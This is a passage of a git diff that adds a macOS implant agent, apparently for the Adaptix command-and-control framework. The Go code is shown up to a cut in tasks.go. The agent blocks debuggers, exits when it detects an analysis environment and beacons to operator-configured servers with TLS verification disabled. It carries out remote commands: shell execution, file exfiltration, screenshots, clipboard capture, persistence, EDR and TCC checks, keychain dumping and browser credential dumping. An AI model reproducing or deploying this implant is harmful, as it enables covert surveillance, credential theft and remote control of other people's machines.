+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+howett.net/plist v1.0.1 h1:37GdZ8tP09Q35o9ych3ehygcsL+HqKSwzctveSlarvM=
+howett.net/plist v1.0.1/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/main.go b/AdaptixServer/extenders/macos_agent/src_macos/main.go
new file mode 100644
index 000000000..7ce7bd110
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/main.go
@@ -0,0 +1,238 @@
+package main
+
+import (
+ "crypto/rand"
+ "crypto/tls"
+ "crypto/x509"
+ "encoding/binary"
+ "macos_agent/functions"
+ "macos_agent/utils"
+ "net"
+ "os"
+ "os/user"
+ "path/filepath"
+ "runtime"
+ "time"
+
+ "github.com/vmihailenco/msgpack/v5"
+)
+
+var ACTIVE = true
+
+func CreateInfo() ([]byte, []byte) {
+ var (
+ addr []net.Addr
+ username string
+ ip string
+ )
+
+ path, err := os.Executable()
+ if err == nil {
+ path = filepath.Base(path)
+ }
+
+ userCurrent, err := user.Current()
+ if err == nil {
+ username = userCurrent.Username
+ }
+
+ host, _ := os.Hostname()
+
+ osVersion, _ := functions.GetOsVersion()
+
+ addr, err = net.InterfaceAddrs()
+ if err == nil {
+ for _, a := range addr {
+ ipnet, ok := a.(*net.IPNet)
+ if ok && !ipnet.IP.IsLoopback() && !ipnet.IP.IsLinkLocalUnicast() && ipnet.IP.To4() != nil {
+ ip = ipnet.IP.String()
+ }
+ }
+ }
+
+ acp, oemcp := functions.GetCP()
+
+ randKey := make([]byte, 16)
+ _, _ = rand.Read(randKey)
+
+ info := utils.SessionInfo{
+ Process: path,
+ PID: os.Getpid(),
+ User: username,
+ Host: host,
+ Ipaddr: ip,
+ Elevated: functions.IsElevated(),
+ Acp: acp,
+ Oem: oemcp,
+ Os: runtime.GOOS,
+ OSVersion: osVersion,
+ EncryptKey: randKey,
+ }
+
+ data, _ := msgpack.Marshal(info)
+
+ return data, randKey
+}
+
+var profiles []utils.Profile
+var encKeys [][]byte
+var profileIndex int
+var profile utils.Profile
+var AgentId uint32
+var encKey []byte
+
+func main() {
+
+ // OPSEC: Anti-debug — prevent debugger attachment
+ functions.DenyDebugger()
+ utils.DebugLog("anti-debug: PT_DENY_ATTACH applied")
+
+ // OPSEC: Bail out if analysis environment detected
+ if functions.IsDebuggerPresent() || functions.IsAnalysisEnvironment() {
+ utils.DebugLog("analysis environment detected, exiting")
+ return
+ }
+ utils.DebugLog("OPSEC checks passed")
+
+ for _, encProfile := range encProfiles {
+ key := make([]byte, 16)
+ copy(key, encProfile[:16])
+ encData := encProfile[16:]
+ decData, err := utils.DecryptData(encData, key)
+ if err != nil {
+ continue
+ }
+
+ var p utils.Profile
+ err = msgpack.Unmarshal(decData, &p)
+ if err != nil {
+ continue
+ }
+
+ profiles = append(profiles, p)
+ encKeys = append(encKeys, key)
+ }
+
+ if len(profiles) == 0 {
+ utils.DebugLog("no valid profiles, exiting")
+ return
+ }
+ utils.DebugLog("loaded %d profile(s)", len(profiles))
+
+ profileIndex = 0
+ profile = profiles[profileIndex]
+ encKey = encKeys[profileIndex]
+
+ sessionInfo, sessionKey := CreateInfo()
+ utils.SKey = sessionKey
+
+ r := make([]byte, 4)
+ _, _ = rand.Read(r)
+ AgentId = binary.BigEndian.Uint32(r)
+
+ initData, _ := msgpack.Marshal(utils.InitPack{Id: uint(AgentId), Type: profile.Type, Data: sessionInfo})
+ initMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.INIT_PACK, Data: initData})
+ initMsg, _ = utils.EncryptData(initMsg, encKey)
+
+ UPLOADS = make(map[string][]byte)
+ DOWNLOADS = make(map[string]utils.Connection)
+ JOBS = make(map[string]utils.Connection)
+
+ addrIndex := 0
+ for i := 0; i < profile.ConnCount && ACTIVE; i++ {
+ if i > 0 {
+ time.Sleep(time.Duration(profile.ConnTimeout) * time.Second)
+ addrIndex++
+ if addrIndex >= len(profile.Addresses) {
+ addrIndex = 0
+ profileIndex = (profileIndex + 1) % len(profiles)
+ profile = profiles[profileIndex]
+ encKey = encKeys[profileIndex]
+ initData, _ = msgpack.Marshal(utils.InitPack{Id: uint(AgentId), Type: profile.Type, Data: sessionInfo})
+ initMsg, _ = msgpack.Marshal(utils.StartMsg{Type: utils.INIT_PACK, Data: initData})
+ initMsg, _ = utils.EncryptData(initMsg, encKey)
+ }
+ }
+
+ ///// Connect
+
+ var (
+ err error
+ conn net.Conn
+ )
+
+ if profile.UseSSL {
+ cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
+ if certerr != nil {
+ continue
+ }
+
+ caCertPool := x509.NewCertPool()
+ caCertPool.AppendCertsFromPEM(profile.CaCert)
+
+ config := &tls.Config{
+ Certificates: []tls.Certificate{cert},
+ RootCAs: caCertPool,
+ InsecureSkipVerify: true,
+ }
+ conn, err = tls.Dial("tcp", profile.Addresses[addrIndex], config)
+
+ } else {
+ conn, err = net.Dial("tcp", profile.Addresses[addrIndex])
+ }
+ if err != nil {
+ utils.DebugLog("connect failed: %v", err)
+ continue
+ } else {
+ utils.DebugLog("connected to %s", profile.Addresses[addrIndex])
+ i = 0
+ }
+
+ /// Recv Banner
+ if profile.BannerSize > 0 {
+ _, err := functions.ConnRead(conn, profile.BannerSize)
+ if err != nil {
+ continue
+ }
+ }
+
+ /// Send Init
+ _ = functions.SendMsg(conn, initMsg)
+
+ /// Recv Command
+
+ var (
+ inMessage utils.Message
+ outMessage utils.Message
+ recvData []byte
+ sendData []byte
+ )
+
+ for ACTIVE {
+ recvData, err = functions.RecvMsg(conn)
+ if err != nil {
+ break
+ }
+
+ outMessage = utils.Message{Type: 0}
+ recvData, err = utils.DecryptData(recvData, sessionKey)
+ if err != nil {
+ break
+ }
+
+ err = msgpack.Unmarshal(recvData, &inMessage)
+ if err != nil {
+ break
+ }
+
+ if inMessage.Type == 1 {
+ outMessage.Type = 1
+ outMessage.Object = TaskProcess(inMessage.Object)
+ }
+
+ sendData, _ = msgpack.Marshal(outMessage)
+ sendData, _ = utils.EncryptData(sendData, sessionKey)
+ _ = functions.SendMsg(conn, sendData)
+ }
+ }
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/tasks.go b/AdaptixServer/extenders/macos_agent/src_macos/tasks.go
new file mode 100644
index 000000000..d2440d4d0
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/tasks.go
@@ -0,0 +1,1422 @@
+package main
+
+import (
+ "bytes"
+ "context"
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "crypto/tls"
+ "crypto/x509"
+ "errors"
+ "fmt"
+ "io"
+ "macos_agent/functions"
+ "macos_agent/utils"
+ "net"
+ "os"
+ "os/exec"
+ "strconv"
+ "sync"
+ "sync/atomic"
+ "syscall"
+ "time"
+
+ "github.com/vmihailenco/msgpack/v5"
+)
+
+var UPLOADS map[string][]byte
+var DOWNLOADS map[string]utils.Connection
+var JOBS map[string]utils.Connection
+var TUNNELS sync.Map
+var TERMINALS sync.Map
+
+type TunnelController struct {
+ Cancel context.CancelFunc
+ Paused atomic.Bool
+}
+
+func TaskProcess(commands [][]byte) [][]byte {
+ var (
+ command utils.Command
+ data []byte
+ result [][]byte
+ err error
+ )
+
+ for _, cmdBytes := range commands {
+ err = msgpack.Unmarshal(cmdBytes, &command)
+ if err != nil {
+ continue
+ }
+
+ switch command.Code {
+
+ case utils.COMMAND_DOWNLOAD:
+ data, err = jobDownloadStart(command.Data)
+
+ case utils.COMMAND_CAT:
+ data, err = taskCat(command.Data)
+
+ case utils.COMMAND_CD:
+ data, err = taskCd(command.Data)
+
+ case utils.COMMAND_CP:
+ data, err = taskCp(command.Data)
+
+ case utils.COMMAND_EXIT:
+ data, err = taskExit()
+
+ case utils.COMMAND_JOB_LIST:
+ data, err = taskJobList()
+
+ case utils.COMMAND_JOB_KILL:
+ data, err = taskJobKill(command.Data)
+
+ case utils.COMMAND_KILL:
+ data, err = taskKill(command.Data)
+
+ case utils.COMMAND_LS:
+ data, err = taskLs(command.Data)
+
+ case utils.COMMAND_MKDIR:
+ data, err = taskMkdir(command.Data)
+
+ case utils.COMMAND_MV:
+ data, err = taskMv(command.Data)
+
+ case utils.COMMAND_PS:
+ data, err = taskPs()
+
+ case utils.COMMAND_PWD:
+ data, err = taskPwd()
+
+ case utils.COMMAND_RM:
+ data, err = taskRm(command.Data)
+
+ case utils.COMMAND_RUN:
+ data, err = jobRun(command.Data)
+
+ case utils.COMMAND_SHELL:
+ data, err = taskShell(command.Data)
+
+ case utils.COMMAND_SCREENSHOT:
+ data, err = taskScreenshot()
+
+ case utils.COMMAND_CLIPBOARD:
+ data, err = taskClipboard()
+
+ case utils.COMMAND_PERSIST:
+ data, err = taskPersist(command.Data)
+
+ case utils.COMMAND_TCC_CHECK:
+ data, err = taskTccCheck()
+
+ case utils.COMMAND_DEFAULTS:
+ data, err = taskDefaults(command.Data)
+
+ case utils.COMMAND_EDR_CHECK:
+ data, err = taskEdrCheck()
+
+ case utils.COMMAND_KEYCHAIN:
+ data, err = taskKeychain(command.Data)
+
+ case utils.COMMAND_BROWSER_DUMP:
+ data, err = taskBrowserDump(command.Data)
+
+ case utils.COMMAND_TERMINAL_START:
+ jobTerminal(command.Data)
+
+ case utils.COMMAND_TERMINAL_STOP:
+ taskTerminalKill(command.Data)
+
+ case utils.COMMAND_TUNNEL_START:
+ jobTunnel(command.Data)
+
+ case utils.COMMAND_TUNNEL_STOP:
+ taskTunnelKill(command.Data)
+
+ case utils.COMMAND_TUNNEL_PAUSE:
+ taskTunnelPause(command.Data)
+
+ case utils.COMMAND_TUNNEL_RESUME:
+ taskTunnelResume(command.Data)
+
+ case utils.COMMAND_UPLOAD:
+ data, err = taskUpload(command.Data)
+
+ case utils.COMMAND_ZIP:
+ data, err = taskZip(command.Data)
+
+ default:
+ continue
+ }
+
+ if err != nil {
+ command.Code = utils.COMMAND_ERROR
+ command.Data, _ = msgpack.Marshal(utils.AnsError{Error: err.Error()})
+ } else {
+ command.Data = data
+ }
+
+ packerData, _ := msgpack.Marshal(command)
+ result = append(result, packerData)
+ }
+
+ return result
+}
+
+/// TASKS
+
+func taskCat(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsCat
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ path, err := functions.NormalizePath(params.Path)
+ if err != nil {
+ return nil, err
+ }
+
+ fileInfo, err := os.Stat(path)
+ if err != nil {
+ return nil, err
+ }
+ if fileInfo.Size() > 0x100000 {
+ return nil, fmt.Errorf("file size exceeds 1 Mb (use download)")
+ }
+
+ content, err := os.ReadFile(path)
+ if err != nil {
+ return nil, err
+ }
+
+ return msgpack.Marshal(utils.AnsCat{Path: params.Path, Content: content})
+}
+
+func taskCd(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsCd
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ path, err := functions.NormalizePath(params.Path)
+ if err != nil {
+ return nil, err
+ }
+
+ err = os.Chdir(path)
+ if err != nil {
+ return nil, err
+ }
+
+ newPath, err := os.Getwd()
+ if err != nil {
+ return nil, err
+ }
+
+ return msgpack.Marshal(utils.AnsPwd{Path: newPath})
+}
+
+func taskCp(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsCp
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ srcPath, err := functions.NormalizePath(params.Src)
+ if err != nil {
+ return nil, err
+ }
+ dstPath, err := functions.NormalizePath(params.Dst)
+ if err != nil {
+ return nil, err
+ }
+
+ info, err := os.Stat(srcPath)
+ if err != nil {
+ return nil, err
+ }
+
+ if info.IsDir() {
+ err = functions.CopyDir(srcPath, dstPath)
+ } else {
+ err = functions.CopyFile(srcPath, dstPath, info)
+ }
+
+ return nil, err
+}
+
+func taskExit() ([]byte, error) {
+ ACTIVE = false
+ return nil, nil
+}
+
+func taskJobList() ([]byte, error) {
+
+ var jobList []utils.JobInfo
+ for k, v := range DOWNLOADS {
+ jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType})
+ }
+ for k, v := range JOBS {
+ jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType})
+ }
+
+ list, _ := msgpack.Marshal(jobList)
+
+ return msgpack.Marshal(utils.AnsJobList{List: list})
+}
+
+func taskJobKill(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsJobKill
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ job, ok := DOWNLOADS[params.Id]
+ if !ok {
+ job, ok = JOBS[params.Id]
+ if !ok {
+ return nil, fmt.Errorf("job '%s' not found", params.Id)
+ }
+ }
+
+ if job.JobCancel != nil {
+ job.JobCancel()
+ }
+
+ job.HandleCancel()
+
+ return nil, nil
+}
+
+func taskKill(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsKill
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ proc, err := os.FindProcess(params.Pid)
+ if err != nil {
+ return nil, err
+ }
+
+ err = proc.Signal(syscall.SIGKILL)
+ return nil, err
+}
+
+func taskLs(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsLs
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ path, err := functions.NormalizePath(params.Path)
+ if err != nil {
+ return nil, err
+ }
+
+ Files, err := functions.GetListing(path)
+ if err != nil {
+ return msgpack.Marshal(utils.AnsLs{Result: false, Status: err.Error(), Path: path, Files: nil})
+ }
+
+ filesData, _ := msgpack.Marshal(Files)
+
+ return msgpack.Marshal(utils.AnsLs{Result: true, Path: path, Files: filesData})
+}
+
+func taskMkdir(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsMkdir
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ path, err := functions.NormalizePath(params.Path)
+ if err != nil {
+ return nil, err
+ }
+
+ mode := os.FileMode(0755)
+ err = os.MkdirAll(path, mode)
+
+ return nil, err
+}
+
+func taskMv(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsMv
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ srcPath, err := functions.NormalizePath(params.Src)
+ if err != nil {
+ return nil, err
+ }
+ dstPath, err := functions.NormalizePath(params.Dst)
+ if err != nil {
+ return nil, err
+ }
+
+ err = os.Rename(srcPath, dstPath)
+ if err == nil {
+ return nil, nil
+ }
+
+ info, err := os.Stat(srcPath)
+ if err != nil {
+ return nil, err
+ }
+
+ if info.IsDir() {
+ err = functions.CopyDir(srcPath, dstPath)
+ if err == nil {
+ _ = os.RemoveAll(srcPath)
+ }
+ } else {
+ err = functions.CopyFile(srcPath, dstPath, info)
+ if err == nil {
+ _ = os.Remove(srcPath)
+ }
+ }
+ return nil, err
+}
+
+func taskPs() ([]byte, error) {
+ Processes, err := functions.GetProcesses()
+ if err != nil {
+ return nil, err
+ }
+
+ processesData, _ := msgpack.Marshal(Processes)
+
+ return msgpack.Marshal(utils.AnsPs{Result: true, Processes: processesData})
+}
+
+func taskPwd() ([]byte, error) {
+ path, err := os.Getwd()
+ if err != nil {
+ return nil, err
+ }
+
+ return msgpack.Marshal(utils.AnsPwd{Path: path})
+}
+
+func taskRm(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsRm
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ path, err := functions.NormalizePath(params.Path)
+ if err != nil {
+ return nil, err
+ }
+
+ info, err := os.Stat(path)
+ if err != nil {
+ return nil, err
+ }
+ if info.IsDir() {
+ err = os.RemoveAll(path)
+ } else {
+ err = os.Remove(path)
+ }
+ return nil, err
+}
+
+func taskScreenshot() ([]byte, error) {
+ screenshot, err := functions.Screenshots()
+ if err != nil {
+ return nil, err
+ }
+
+ screens := make([][]byte, 0)
+ for _, pic := range screenshot {
+ screens = append(screens, pic)
+ }
+
+ return msgpack.Marshal(utils.AnsScreenshots{Screens: screens})
+}
+
+func taskClipboard() ([]byte, error) {
+ content, err := functions.GetClipboard()
+ if err != nil {
+ return nil, err
+ }
+ return msgpack.Marshal(utils.AnsShell{Output: content})
+}
+
+func taskPersist(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsPersist
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ var output string
+ switch params.Action {
+ case "install":
+ output, err = functions.PersistInstall(params.Method, params.Name)
+ case "remove":
+ output, err = functions.PersistRemove(params.Method, params.Name)
+ case "status":
+ output, err = functions.PersistStatus()
+ default:
+ return nil, fmt.Errorf("unknown persist action: %s", params.Action)
+ }
+ if err != nil {
+ return nil, err
+ }
+ return msgpack.Marshal(utils.AnsPersist{Output: output})
+}
+
+func taskTccCheck() ([]byte, error) {
+ output, err := functions.TccCheck()
+ if err != nil {
+ return nil, err
+ }
+ return msgpack.Marshal(utils.AnsShell{Output: output})
+}
+
+func taskDefaults(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsDefaults
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+ output, err := functions.DefaultsRead(params.Domain)
+ if err != nil {
+ return nil, err
+ }
+ return msgpack.Marshal(utils.AnsShell{Output: output})
+}
+
+func taskEdrCheck() ([]byte, error) {
+ output, err := functions.EdrCheck()
+ if err != nil {
+ return nil, err
+ }
+ return msgpack.Marshal(utils.AnsShell{Output: output})
+}
+
+func taskKeychain(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsKeychain
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ var output string
+ switch params.Action {
+ case "list":
+ output, err = functions.KeychainList()
+ case "dump":
+ output, err = functions.KeychainDump()
+ default:
+ return nil, fmt.Errorf("unknown keychain action: %s", params.Action)
+ }
+ if err != nil {
+ return nil, err
+ }
+ return msgpack.Marshal(utils.AnsShell{Output: output})
+}
+
+func taskBrowserDump(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsBrowserDump
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ var output string
+ switch params.Browser {
+ case "chrome":
+ output, err = functions.BrowserDumpChrome(params.Target)
+ case "firefox":
+ output, err = functions.BrowserDumpFirefox(params.Target)
+ default:
+ return nil, fmt.Errorf("unknown browser: %s (use chrome or firefox)", params.Browser)
+ }
+ if err != nil {
+ return nil, err
+ }
+ return msgpack.Marshal(utils.AnsShell{Output: output})
+}
+
+func taskShell(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsShell
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ cmd := exec.Command(params.Program, params.Args...)
+ functions.ProcessSettings(cmd)
+ output, _ := cmd.CombinedOutput()
+
+ return msgpack.Marshal(utils.AnsShell{Output: string(output)})
+}
+
+func taskTerminalKill(paramsData []byte) {
+ var params utils.ParamsTerminalStop
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return
+ }
+
+ value, ok := TERMINALS.Load(params.TermId)
+ if ok {
+ cancel, ok := value.(context.CancelFunc)
+ if ok {
+ cancel()
+ }
+ }
+}
+
+func taskTunnelKill(paramsData []byte) {
+ var params utils.ParamsTunnelStop
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return
+ }
+
+ value, ok := TUNNELS.Load(params.ChannelId)
+ if ok {
+ ctrl, ok := value.(*TunnelController)
+ if ok {
+ ctrl.Cancel()
+ }
+ }
+}
+
+func taskTunnelPause(paramsData []byte) {
+ var params utils.ParamsTunnelPause
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return
+ }
+
+ value, ok := TUNNELS.Load(params.ChannelId)
+ if ok {
+ ctrl, ok := value.(*TunnelController)
+ if ok {
+ ctrl.Paused.Store(true)
+ }
+ }
+}
+
+func taskTunnelResume(paramsData []byte) {
+ var params utils.ParamsTunnelResume
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return
+ }
+
+ value, ok := TUNNELS.Load(params.ChannelId)
+ if ok {
+ ctrl, ok := value.(*TunnelController)
+ if ok {
+ ctrl.Paused.Store(false)
+ }
+ }
+}
+
+func taskUpload(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsUpload
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ path, err := functions.NormalizePath(params.Path)
+ if err != nil {
+ return nil, err
+ }
+
+ uploadBytes, ok := UPLOADS[path]
+ if !ok {
+ uploadBytes = params.Content
+ } else {
+ delete(UPLOADS, path)
+ uploadBytes = append(uploadBytes, params.Content...)
+ }
+
+ if params.Finish {
+ files, err := functions.UnzipBytes(uploadBytes)
+ if err != nil {
+ return nil, err
+ }
+
+ content, ok := files[params.Path]
+ if !ok {
+ return nil, errors.New("file not uploaded")
+ }
+
+ err = os.WriteFile(path, content, 0644)
+ if err != nil {
+ return nil, err
+ }
+
+ } else {
+ UPLOADS[path] = uploadBytes
+ return nil, nil
+ }
+
+ return msgpack.Marshal(utils.AnsUpload{Path: path})
+}
+
+func taskZip(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsZip
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ srcPath, err := functions.NormalizePath(params.Src)
+ if err != nil {
+ return nil, err
+ }
+ dstPath, err := functions.NormalizePath(params.Dst)
+ if err != nil {
+ return nil, err
+ }
+
+ info, err := os.Stat(srcPath)
+ if err != nil {
+ return nil, err
+ }
+
+ var content []byte
+ if info.IsDir() {
+ content, err = functions.ZipDirectory(srcPath)
+ } else {
+ content, err = functions.ZipFile(srcPath)
+ }
+ if err != nil {
+ return nil, err
+ }
+
+ err = os.WriteFile(dstPath, content, 0644)
+ if err != nil {
+ return nil, err
+ }
+
+ return msgpack.Marshal(utils.AnsZip{Path: dstPath})
+}
+
+/// JOBS
+
+func jobDownloadStart(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsDownload
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ path, err := functions.NormalizePath(params.Path)
+ if err != nil {
+ return nil, err
+ }
+
+ info, err := os.Stat(path)
+ if err != nil {
+ return nil, err
+ }
+
+ size := info.Size()
+
+ if size > 4*1024*1024*1024 {
+ return nil, errors.New("file too big (>4GB)")
+ }
+
+ var content []byte
+ if info.IsDir() {
+ content, err = functions.ZipDirectory(path)
+ path += ".zip"
+ } else {
+ content, err = os.ReadFile(path)
+ }
+ if err != nil {
+ return nil, err
+ }
+
+ var conn net.Conn
+ if profile.UseSSL {
+ cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
+ if certerr != nil {
+ return nil, err
+ }
+
+ caCertPool := x509.NewCertPool()
+ caCertPool.AppendCertsFromPEM(profile.CaCert)
+
+ config := &tls.Config{
+ Certificates: []tls.Certificate{cert},
+ RootCAs: caCertPool,
+ InsecureSkipVerify: true,
+ }
+ conn, err = tls.Dial("tcp", profile.Addresses[0], config)
+
+ } else {
+ conn, err = net.Dial("tcp", profile.Addresses[0])
+ }
+ if err != nil {
+ return nil, err
+ }
+
+ strFileId := params.Task
+ FileId, _ := strconv.ParseInt(strFileId, 16, 64)
+
+ connection := utils.Connection{
+ PackType: utils.EXFIL_PACK,
+ Conn: conn,
+ }
+ connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background())
+ DOWNLOADS[strFileId] = connection
+
+ go func() {
+ defer func() {
+ connection.HandleCancel()
+ _ = conn.Close()
+ delete(DOWNLOADS, strFileId)
+ }()
+
+ exfilPack, _ := msgpack.Marshal(utils.ExfilPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task})
+ exfilMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.EXFIL_PACK, Data: exfilPack})
+ exfilMsg, _ = utils.EncryptData(exfilMsg, encKey)
+
+ job := utils.Job{
+ CommandId: utils.COMMAND_DOWNLOAD,
+ JobId: params.Task,
+ }
+
+ /// Recv Banner
+ if profile.BannerSize > 0 {
+ _, err := functions.ConnRead(conn, profile.BannerSize)
+ if err != nil {
+ return
+ }
+ }
+
+ /// Send Init
+ _ = functions.SendMsg(conn, exfilMsg)
+
+ chunkSize := 0x100000 // 1MB
+ totalSize := len(content)
+ for i := 0; i < totalSize; i += chunkSize {
+
+ end := i + chunkSize
+ if end > totalSize {
+ end = totalSize
+ }
+ start := i == 0
+ finish := end == totalSize
+
+ canceled := false
+
+ select {
+ case <-connection.Ctx.Done():
+ finish = true
+ canceled = true
+ default:
+ }
+
+ job.Data, _ = msgpack.Marshal(utils.AnsDownload{FileId: int(FileId), Path: path, Content: content[i:end], Size: len(content), Start: start, Finish: finish, Canceled: canceled})
+ packedJob, _ := msgpack.Marshal(job)
+
+ message := utils.Message{
+ Type: 2,
+ Object: [][]byte{packedJob},
+ }
+
+ sendData, _ := msgpack.Marshal(message)
+ sendData, _ = utils.EncryptData(sendData, utils.SKey)
+ _ = functions.SendMsg(conn, sendData)
+
+ if finish {
+ break
+ }
+ time.Sleep(time.Millisecond * 100)
+ }
+ }()
+
+ return nil, nil
+}
+
+func jobRun(paramsData []byte) ([]byte, error) {
+ var params utils.ParamsRun
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return nil, err
+ }
+
+ procCtx, procCancel := context.WithCancel(context.Background())
+ cmd := exec.CommandContext(procCtx, params.Program, params.Args...)
+ functions.ProcessSettings(cmd)
+ stdoutPipe, err := cmd.StdoutPipe()
+ if err != nil {
+ procCancel()
+ return nil, fmt.Errorf("stdout pipe error: %w", err)
+ }
+ stderrPipe, err := cmd.StderrPipe()
+ if err != nil {
+ procCancel()
+ return nil, fmt.Errorf("stderr pipe error: %w", err)
+ }
+
+ var stdoutMu sync.Mutex
+ var stderrMu sync.Mutex
+ stdoutBuf := new(bytes.Buffer)
+ stderrBuf := new(bytes.Buffer)
+
+ err = cmd.Start()
+ if err != nil {
+ procCancel()
+ return nil, fmt.Errorf("start error: %w", err)
+ }
+ pid := 0
+ if cmd.Process != nil {
+ pid = cmd.Process.Pid
+ }
+
+ var conn net.Conn
+ if profile.UseSSL {
+ cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
+ if certerr != nil {
+ procCancel()
+ return nil, err
+ }
+
+ caCertPool := x509.NewCertPool()
+ caCertPool.AppendCertsFromPEM(profile.CaCert)
+
+ config := &tls.Config{
+ Certificates: []tls.Certificate{cert},
+ RootCAs: caCertPool,
+ InsecureSkipVerify: true,
+ }
+ conn, err = tls.Dial("tcp", profile.Addresses[0], config)
+
+ } else {
+ conn, err = net.Dial("tcp", profile.Addresses[0])
+ }
+ if err != nil {
+ procCancel()
+ return nil, err
+ }
+
+ connection := utils.Connection{
+ PackType: utils.JOB_PACK,
+ Conn: conn,
+ JobCancel: procCancel,
+ }
+ connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background())
+ JOBS[params.Task] = connection
+
+ go func() {
+ defer func() {
+ procCancel()
+ connection.HandleCancel()
+ _ = conn.Close()
+ delete(JOBS, params.Task)
+ }()
+
+ jobPack, _ := msgpack.Marshal(utils.JobPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task})
+ jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_PACK, Data: jobPack})
+ jobMsg, _ = utils.EncryptData(jobMsg, encKey)
+
+ /// Recv Banner
+ if profile.BannerSize > 0 {
+ _, err := functions.ConnRead(conn, profile.BannerSize)
+ if err != nil {
+ return
+ }
+ }
+
+ /// Send Init
+ functions.SendMsg(conn, jobMsg)
+
+ job := utils.Job{
+ CommandId: utils.COMMAND_RUN,
+ JobId: params.Task,
+ }
+
+ job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Start: true})
+ packedJob, _ := msgpack.Marshal(job)
+
+ message := utils.Message{
+ Type: 2,
+ Object: [][]byte{packedJob},
+ }
+
+ sendData, _ := msgpack.Marshal(message)
+ sendData, _ = utils.EncryptData(sendData, utils.SKey)
+ functions.SendMsg(conn, sendData)
+
+ var wg sync.WaitGroup
+ wg.Add(2)
+
+ go func() {
+ defer wg.Done()
+ buf := make([]byte, 2*1024)
+ for {
+ n, err := stdoutPipe.Read(buf)
+ if n > 0 {
+ stdoutMu.Lock()
+ stdoutBuf.Write(buf[:n])
+ stdoutMu.Unlock()
+ }
+ if err == io.EOF {
+ break
+ }
+ if err != nil {
+ break
+ }
+ }
+ }()
+ go func() {
+ defer wg.Done()
+ buf := make([]byte, 2*1024)
+ for {
+ n, err := stderrPipe.Read(buf)
+ if n > 0 {
+ stderrMu.Lock()
+ stderrBuf.Write(buf[:n])
+ stderrMu.Unlock()
+ }
+ if err == io.EOF {
+ break
+ }
+ if err != nil {
+ break
+ }
+ }
+ }()
+
+ done := make(chan struct{})
+ var lastOutLen, lastErrLen int
+ const maxChunkSize = 0x10000 // 65 Kb
+ go func() {
+ ticker := time.NewTicker(1 * time.Second)
+ defer ticker.Stop()
+ for {
+ select {
+ case <-done:
+ return
+
+ case <-ticker.C:
+ ansRun := utils.AnsRun{Pid: pid}
+ stdoutMu.Lock()
+ out := stdoutBuf.String()
+ stdoutMu.Unlock()
